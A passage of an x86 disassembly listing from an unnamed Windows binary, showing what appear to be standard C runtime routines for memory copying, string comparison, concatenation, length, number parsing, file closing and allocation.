		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_4173B0
		cmp	edi, eax
		jb	loc_417528

loc_4173B0:				; CODE XREF: sub_417390+16j
		test	edi, 3
		jnz	short loc_4173CC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_4173EC
		rep movsd
		jmp	off_4174D8[edx*4]
; ---------------------------------------------------------------------------

loc_4173CC:				; CODE XREF: sub_417390+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_4173E4
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_4173EC+4[eax*4]
; ---------------------------------------------------------------------------

loc_4173E4:				; CODE XREF: sub_417390+46j
		jmp	dword ptr loc_4174E8[ecx*4]
; ---------------------------------------------------------------------------
		align 4

loc_4173EC:				; CODE XREF: sub_417390+31j
					; sub_417390+8Ej ...
		jmp	off_41746C[ecx*4]
; ---------------------------------------------------------------------------
		db 90h
		dd offset loc_417400
		dd offset loc_41742C
		dd offset loc_417450
; ---------------------------------------------------------------------------

loc_417400:				; DATA XREF: sub_417390+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_4173EC
		rep movsd
		jmp	off_4174D8[edx*4]
; ---------------------------------------------------------------------------
		align 4

loc_41742C:				; DATA XREF: sub_417390+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_4173EC
		rep movsd
		jmp	off_4174D8[edx*4]
; ---------------------------------------------------------------------------
		align 10h

loc_417450:				; DATA XREF: sub_417390+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_4173EC
		rep movsd
		jmp	off_4174D8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41746C	dd offset loc_4174CF	; DATA XREF: sub_417390:loc_4173ECr
		dd offset loc_4174BC
		dd offset loc_4174B4
		dd offset loc_4174AC
		dd offset loc_4174A4
		dd offset loc_41749C
		dd offset loc_417494
		dd offset loc_41748C
; ---------------------------------------------------------------------------

loc_41748C:				; CODE XREF: sub_417390:loc_4173ECj
					; DATA XREF: sub_417390+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax

loc_417494:				; CODE XREF: sub_417390:loc_4173ECj
					; DATA XREF: sub_417390+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax

loc_41749C:				; CODE XREF: sub_417390:loc_4173ECj
					; DATA XREF: sub_417390+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax

loc_4174A4:				; CODE XREF: sub_417390:loc_4173ECj
					; DATA XREF: sub_417390+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax

loc_4174AC:				; CODE XREF: sub_417390:loc_4173ECj
					; DATA XREF: sub_417390+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax

loc_4174B4:				; CODE XREF: sub_417390:loc_4173ECj
					; DATA XREF: sub_417390+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax

loc_4174BC:				; CODE XREF: sub_417390:loc_4173ECj
					; DATA XREF: sub_417390+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax

loc_4174CF:				; CODE XREF: sub_417390:loc_4173ECj
					; DATA XREF: sub_417390:off_41746Co
		jmp	off_4174D8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_4174D8	dd offset loc_4174E8	; DATA XREF: sub_417390+35r
					; sub_417390+92r ...
		dd offset loc_4174F0
		dd offset loc_4174FC
		dd offset loc_417510
; ---------------------------------------------------------------------------

loc_4174E8:				; CODE XREF: sub_417390+35j
					; sub_417390+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h

loc_4174F0:				; CODE XREF: sub_417390+35j
					; sub_417390+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_4174FC:				; CODE XREF: sub_417390+35j
					; sub_417390+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h

loc_417510:				; CODE XREF: sub_417390+35j
					; sub_417390+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_417528:				; CODE XREF: sub_417390+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41755C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_417550
		std
		rep movsd
		cld
		jmp	off_417670[edx*4]
; ---------------------------------------------------------------------------
		align 10h

loc_417550:				; CODE XREF: sub_417390+1B1j
					; sub_417390+208j ...
		neg	ecx
		jmp	off_417620[ecx*4]
; ---------------------------------------------------------------------------
		align 4

loc_41755C:				; CODE XREF: sub_417390+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_417574
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_417574+4[eax*4]
; ---------------------------------------------------------------------------

loc_417574:				; CODE XREF: sub_417390+1D6j
					; DATA XREF: sub_417390+1DDr
		jmp	off_417670[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	[ebp+arg_39], dh
		add	[eax-2FFFBE8Bh], ch
		jnz	short loc_4175C8
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_417550
		std
		rep movsd
		cld
		jmp	off_417670[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_417550
		std
		rep movsd
		cld

loc_4175C8:				; CODE XREF: sub_417390+1F5j
		jmp	off_417670[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_417550
		std
		rep movsd
		cld
		jmp	off_417670[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_417624
		dd offset loc_41762C
		dd offset loc_417634
		dd offset loc_41763C
		dd offset loc_417644
		dd offset loc_41764C
		dd offset loc_417654
off_417620	dd offset loc_417667	; DATA XREF: sub_417390+1C2r
; ---------------------------------------------------------------------------

loc_417624:				; DATA XREF: sub_417390+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax

loc_41762C:				; DATA XREF: sub_417390+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax

loc_417634:				; DATA XREF: sub_417390+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax

loc_41763C:				; DATA XREF: sub_417390+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax

loc_417644:				; DATA XREF: sub_417390+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax

loc_41764C:				; DATA XREF: sub_417390+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax

loc_417654:				; DATA XREF: sub_417390+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax

loc_417667:				; CODE XREF: sub_417390+1C2j
					; DATA XREF: sub_417390:off_417620o
		jmp	off_417670[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_417670	dd offset loc_417680	; DATA XREF: sub_417390+1B7r
					; sub_417390:loc_417574r ...
		dd offset loc_417688
		dd offset loc_417698
		dd offset loc_4176AC
; ---------------------------------------------------------------------------

loc_417680:				; CODE XREF: sub_417390+1B7j
					; sub_417390:loc_417574j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_417688:				; CODE XREF: sub_417390+1B7j
					; sub_417390:loc_417574j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_417698:				; CODE XREF: sub_417390+1B7j
					; sub_417390:loc_417574j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_4176AC:				; CODE XREF: sub_417390+1B7j
					; sub_417390:loc_417574j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_417390	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4176D0	proc near		; CODE XREF: sub_4010B5+FCp
					; sub_4010B5+118p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		test	edx, 3
		jnz	short loc_41771C

loc_4176E0:				; CODE XREF: sub_4176D0+3Cj
					; sub_4176D0+66j ...
		mov	eax, [edx]
		cmp	al, [ecx]
		jnz	short loc_417714
		or	al, al
		jz	short loc_417710
		cmp	ah, [ecx+1]
		jnz	short loc_417714
		or	ah, ah
		jz	short loc_417710
		shr	eax, 10h
		cmp	al, [ecx+2]
		jnz	short loc_417714
		or	al, al
		jz	short loc_417710
		cmp	ah, [ecx+3]
		jnz	short loc_417714
		add	ecx, 4
		add	edx, 4
		or	ah, ah
		jnz	short loc_4176E0
		mov	edi, edi

loc_417710:				; CODE XREF: sub_4176D0+18j
					; sub_4176D0+21j ...
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4

loc_417714:				; CODE XREF: sub_4176D0+14j
					; sub_4176D0+1Dj ...
		sbb	eax, eax
		shl	eax, 1
		inc	eax
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41771C:				; CODE XREF: sub_4176D0+Ej
		test	edx, 1
		jz	short loc_417738
		mov	al, [edx]
		inc	edx
		cmp	al, [ecx]
		jnz	short loc_417714
		inc	ecx
		or	al, al
		jz	short loc_417710
		test	edx, 2
		jz	short loc_4176E0

loc_417738:				; CODE XREF: sub_4176D0+52j
		mov	ax, [edx]
		add	edx, 2
		cmp	al, [ecx]
		jnz	short loc_417714
		or	al, al
		jz	short loc_417710
		cmp	ah, [ecx+1]
		jnz	short loc_417714
		or	ah, ah
		jz	short loc_417710
		add	ecx, 2
		jmp	short loc_4176E0
sub_4176D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_417760	proc near		; CODE XREF: sub_4010B5+19Ep
					; sub_401A76+11Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_C]
		or	ecx, eax
		mov	ecx, [esp+arg_8]
		jnz	short loc_417779
		mov	eax, [esp+arg_0]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------

loc_417779:				; CODE XREF: sub_417760+Ej
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	[esp+4+arg_C]
		add	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h
sub_417760	endp


; =============== S U B	R O U T	I N E =======================================



sub_417794	proc near		; CODE XREF: sub_41781F+4p
					; sub_42094E+1A2p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]

loc_41779C:				; CODE XREF: sub_417794+34j
		cmp	dword_433E7C, 1
		jle	short loc_4177B4
		movzx	eax, byte ptr [edi]
		push	8
		push	eax
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_4177C3
; ---------------------------------------------------------------------------

loc_4177B4:				; CODE XREF: sub_417794+Fj
		movzx	eax, byte ptr [edi]
		mov	ecx, off_433C70
		mov	al, [ecx+eax*2]
		and	eax, 8

loc_4177C3:				; CODE XREF: sub_417794+1Ej
		test	eax, eax
		jz	short loc_4177CA
		inc	edi
		jmp	short loc_41779C
; ---------------------------------------------------------------------------

loc_4177CA:				; CODE XREF: sub_417794+31j
		movzx	esi, byte ptr [edi]
		inc	edi
		cmp	esi, 2Dh
		mov	ebp, esi
		jz	short loc_4177DA
		cmp	esi, 2Bh
		jnz	short loc_4177DE

loc_4177DA:				; CODE XREF: sub_417794+3Fj
		movzx	esi, byte ptr [edi]
		inc	edi

loc_4177DE:				; CODE XREF: sub_417794+44j
		xor	ebx, ebx

loc_4177E0:				; CODE XREF: sub_417794+7Bj
		cmp	dword_433E7C, 1
		jle	short loc_4177F5
		push	4
		push	esi
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_417800
; ---------------------------------------------------------------------------

loc_4177F5:				; CODE XREF: sub_417794+53j
		mov	eax, off_433C70
		mov	al, [eax+esi*2]
		and	eax, 4

loc_417800:				; CODE XREF: sub_417794+5Fj
		test	eax, eax
		jz	short loc_417811
		lea	eax, [ebx+ebx*4]
		lea	ebx, [esi+eax*2-30h]
		movzx	esi, byte ptr [edi]
		inc	edi
		jmp	short loc_4177E0
; ---------------------------------------------------------------------------

loc_417811:				; CODE XREF: sub_417794+6Ej
		cmp	ebp, 2Dh
		mov	eax, ebx
		jnz	short loc_41781A
		neg	eax

loc_41781A:				; CODE XREF: sub_417794+82j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_417794	endp


; =============== S U B	R O U T	I N E =======================================



sub_41781F	proc near		; CODE XREF: sub_4013EC+12p
					; sub_4013EC+1Dp ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_417794
		pop	ecx
		retn
sub_41781F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41782A	proc near		; CODE XREF: sub_40144A+318p
					; sub_401D82+460p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_14], 42h
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_8]
		push	eax
		call	sub_419E38
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_417869
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_417876
; ---------------------------------------------------------------------------

loc_417869:				; CODE XREF: sub_41782A+35j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_419D23
		pop	ecx
		pop	ecx

loc_417876:				; CODE XREF: sub_41782A+3Dj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41782A	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_417880	proc near		; CODE XREF: sub_401D82+2D8p
					; sub_401D82+2F8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	edi
		push	ebx
		push	esi
		mov	dl, [ecx]
		mov	edi, [esp+0Ch+arg_0]
		test	dl, dl
		jz	short loc_4178FA
		mov	dh, [ecx+1]
		test	dh, dh
		jz	short loc_4178E7

loc_417898:				; CODE XREF: sub_417880+52j
					; sub_417880+65j
		mov	esi, edi
		mov	ecx, [esp+0Ch+arg_4]
		mov	al, [edi]
		inc	esi
		cmp	al, dl
		jz	short loc_4178BA
		test	al, al
		jz	short loc_4178B4

loc_4178A9:				; CODE XREF: sub_417880+32j
		mov	al, [esi]
		inc	esi

loc_4178AC:				; CODE XREF: sub_417880+3Fj
		cmp	al, dl
		jz	short loc_4178BA
		test	al, al
		jnz	short loc_4178A9

loc_4178B4:				; CODE XREF: sub_417880+27j
		pop	esi
		pop	ebx
		pop	edi
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_4178BA:				; CODE XREF: sub_417880+23j
					; sub_417880+2Ej
		mov	al, [esi]
		inc	esi
		cmp	al, dh
		jnz	short loc_4178AC
		lea	edi, [esi-1]

loc_4178C4:				; CODE XREF: sub_417880+63j
		mov	ah, [ecx+2]
		test	ah, ah
		jz	short loc_4178F3
		mov	al, [esi]
		add	esi, 2
		cmp	al, ah
		jnz	short loc_417898
		mov	al, [ecx+3]
		test	al, al
		jz	short loc_4178F3
		mov	ah, [esi-1]
		add	ecx, 2
		cmp	al, ah
		jz	short loc_4178C4
		jmp	short loc_417898
; ---------------------------------------------------------------------------

loc_4178E7:				; CODE XREF: sub_417880+16j
		xor	eax, eax
		pop	esi
		pop	ebx
		pop	edi
		mov	al, dl
		jmp	loc_418F56
; ---------------------------------------------------------------------------

loc_4178F3:				; CODE XREF: sub_417880+49j
					; sub_417880+59j
		lea	eax, [edi-1]
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_4178FA:				; CODE XREF: sub_417880+Fj
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_417880	endp


; =============== S U B	R O U T	I N E =======================================



sub_417900	proc near		; CODE XREF: sub_4022C6+94p
					; sub_405A58+7Cp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		or	edi, 0FFFFFFFFh
		mov	eax, [esi+0Ch]
		test	al, 40h
		jz	short loc_417915
		or	eax, 0FFFFFFFFh
		jmp	short loc_41794F
; ---------------------------------------------------------------------------

loc_417915:				; CODE XREF: sub_417900+Ej
		test	al, 83h
		jz	short loc_41794D
		push	esi
		call	sub_41A7D0
		push	esi
		mov	edi, eax
		call	sub_41A76A
		push	dword ptr [esi+10h]
		call	sub_41A6B7
		add	esp, 0Ch
		test	eax, eax
		jge	short loc_41793B
		or	edi, 0FFFFFFFFh
		jmp	short loc_41794D
; ---------------------------------------------------------------------------

loc_41793B:				; CODE XREF: sub_417900+34j
		mov	eax, [esi+1Ch]
		test	eax, eax
		jz	short loc_41794D
		push	eax
		call	sub_417C3B
		and	dword ptr [esi+1Ch], 0
		pop	ecx

loc_41794D:				; CODE XREF: sub_417900+17j
					; sub_417900+39j ...
		mov	eax, edi

loc_41794F:				; CODE XREF: sub_417900+13j
		and	dword ptr [esi+0Ch], 0
		pop	edi
		pop	esi
		retn
sub_417900	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417956	proc near		; CODE XREF: sub_4022C6+8Ep
					; sub_40EE72+2B0Fp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41A8A2
		mov	esi, eax
		lea	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_419E38
		push	[ebp+arg_0]
		mov	edi, eax
		push	esi
		call	sub_41A92F
		add	esp, 18h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_417956	endp


; =============== S U B	R O U T	I N E =======================================



sub_417988	proc near		; CODE XREF: sub_4179A8+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		call	sub_41AADC
		test	eax, eax
		jnz	short loc_417992
		retn
; ---------------------------------------------------------------------------

loc_417992:				; CODE XREF: sub_417988+7j
		push	eax
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41A96C
		add	esp, 10h
		retn
sub_417988	endp


; =============== S U B	R O U T	I N E =======================================



sub_4179A8	proc near		; CODE XREF: sub_4022C6+54p
					; sub_405A58+2Ap ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	40h
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_417988
		add	esp, 0Ch
		retn
sub_4179A8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4179C0	proc near		; CODE XREF: sub_405AF2+2BFp
					; sub_40A7D7+75p ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		jmp	short loc_417A31
sub_4179C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4179D0	proc near		; CODE XREF: sub_4022C6+32p
					; sub_4022C6+43p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		push	edi
		test	ecx, 3
		jz	short loc_4179EC

loc_4179DD:				; CODE XREF: sub_4179D0+1Aj
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_417A1F
		test	ecx, 3
		jnz	short loc_4179DD

loc_4179EC:				; CODE XREF: sub_4179D0+Bj
					; sub_4179D0+32j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_4179EC
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_417A2E
		test	ah, ah
		jz	short loc_417A29
		test	eax, 0FF0000h
		jz	short loc_417A24
		test	eax, 0FF000000h
		jz	short loc_417A1F
		jmp	short loc_4179EC
; ---------------------------------------------------------------------------

loc_417A1F:				; CODE XREF: sub_4179D0+12j
					; sub_4179D0+4Bj
		lea	edi, [ecx-1]
		jmp	short loc_417A31
; ---------------------------------------------------------------------------

loc_417A24:				; CODE XREF: sub_4179D0+44j
		lea	edi, [ecx-2]
		jmp	short loc_417A31
; ---------------------------------------------------------------------------

loc_417A29:				; CODE XREF: sub_4179D0+3Dj
		lea	edi, [ecx-3]
		jmp	short loc_417A31
; ---------------------------------------------------------------------------

loc_417A2E:				; CODE XREF: sub_4179D0+39j
		lea	edi, [ecx-4]

loc_417A31:				; CODE XREF: sub_4179C0+5j
					; sub_4179D0+52j ...
		mov	ecx, [esp+4+arg_4]
		test	ecx, 3
		jz	short loc_417A56

loc_417A3D:				; CODE XREF: sub_4179D0+7Dj
		mov	dl, [ecx]
		inc	ecx
		test	dl, dl
		jz	short loc_417AA8
		mov	[edi], dl
		inc	edi
		test	ecx, 3
		jnz	short loc_417A3D
		jmp	short loc_417A56
; ---------------------------------------------------------------------------

loc_417A51:				; CODE XREF: sub_4179D0+9Ej
					; sub_4179D0+B8j
		mov	[edi], edx
		add	edi, 4

loc_417A56:				; CODE XREF: sub_4179D0+6Bj
					; sub_4179D0+7Fj
		mov	edx, 7EFEFEFFh
		mov	eax, [ecx]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [ecx]
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_417A51
		test	dl, dl
		jz	short loc_417AA8
		test	dh, dh
		jz	short loc_417A9F
		test	edx, 0FF0000h
		jz	short loc_417A92
		test	edx, 0FF000000h
		jz	short loc_417A8A
		jmp	short loc_417A51
; ---------------------------------------------------------------------------

loc_417A8A:				; CODE XREF: sub_4179D0+B6j
		mov	[edi], edx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_417A92:				; CODE XREF: sub_4179D0+AEj
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		mov	byte ptr [edi+2], 0
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_417A9F:				; CODE XREF: sub_4179D0+A6j
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_417AA8:				; CODE XREF: sub_4179D0+72j
					; sub_4179D0+A2j
		mov	[edi], dl
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
sub_4179D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_417AB0	proc near		; CODE XREF: sub_4023A7+1A7p
					; sub_4023A7:loc_402561p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	ecx, 3
		jz	short loc_417AD0

loc_417ABC:				; CODE XREF: sub_417AB0+19j
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_417B03
		test	ecx, 3
		jnz	short loc_417ABC
		add	eax, 0

loc_417AD0:				; CODE XREF: sub_417AB0+Aj
					; sub_417AB0+36j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_417AD0
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_417B21
		test	ah, ah
		jz	short loc_417B17
		test	eax, 0FF0000h
		jz	short loc_417B0D
		test	eax, 0FF000000h
		jz	short loc_417B03
		jmp	short loc_417AD0
; ---------------------------------------------------------------------------

loc_417B03:				; CODE XREF: sub_417AB0+11j
					; sub_417AB0+4Fj
		lea	eax, [ecx-1]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------

loc_417B0D:				; CODE XREF: sub_417AB0+48j
		lea	eax, [ecx-2]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------

loc_417B17:				; CODE XREF: sub_417AB0+41j
		lea	eax, [ecx-3]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------

loc_417B21:				; CODE XREF: sub_417AB0+3Dj
		lea	eax, [ecx-4]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
sub_417AB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_417B30	proc near		; CODE XREF: sub_402688+8p
					; sub_402B84+8p ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_417B50

loc_417B3C:				; CODE XREF: sub_417B30+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_417B3C

loc_417B50:				; CODE XREF: sub_417B30+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_417B30	endp


; =============== S U B	R O U T	I N E =======================================



sub_417B5F	proc near		; CODE XREF: sub_4029E9+7Ap
					; sub_4029E9+8Ap ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	ecx, eax
		cmp	word ptr [eax],	0
		jz	short loc_417B73

loc_417B6B:				; CODE XREF: sub_417B5F+12j
		inc	ecx
		inc	ecx
		cmp	word ptr [ecx],	0
		jnz	short loc_417B6B

loc_417B73:				; CODE XREF: sub_417B5F+Aj
		mov	edx, [esp+arg_4]
		push	esi

loc_417B78:				; CODE XREF: sub_417B5F+26j
		mov	si, [edx]
		mov	[ecx], si
		inc	ecx
		inc	ecx
		inc	edx
		inc	edx
		test	si, si
		jnz	short loc_417B78
		pop	esi
		retn
sub_417B5F	endp


; =============== S U B	R O U T	I N E =======================================



sub_417B89	proc near		; CODE XREF: sub_402B84+220p
					; sub_402DD7+C1p ...

arg_0		= dword	ptr  4

		push	dword_4CDA14
		push	[esp+4+arg_0]
		call	sub_417B9B
		pop	ecx
		pop	ecx
		retn
sub_417B89	endp


; =============== S U B	R O U T	I N E =======================================



sub_417B9B	proc near		; CODE XREF: sub_417B89+Ap
					; sub_4185F5+6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFE0h
		ja	short loc_417BC4

loc_417BA2:				; CODE XREF: sub_417B9B+27j
		push	[esp+arg_0]
		call	sub_417BC7
		test	eax, eax
		pop	ecx
		jnz	short locret_417BC6
		cmp	[esp+arg_4], eax
		jz	short locret_417BC6
		push	[esp+arg_0]
		call	sub_41AB54
		test	eax, eax
		pop	ecx
		jnz	short loc_417BA2

loc_417BC4:				; CODE XREF: sub_417B9B+5j
		xor	eax, eax

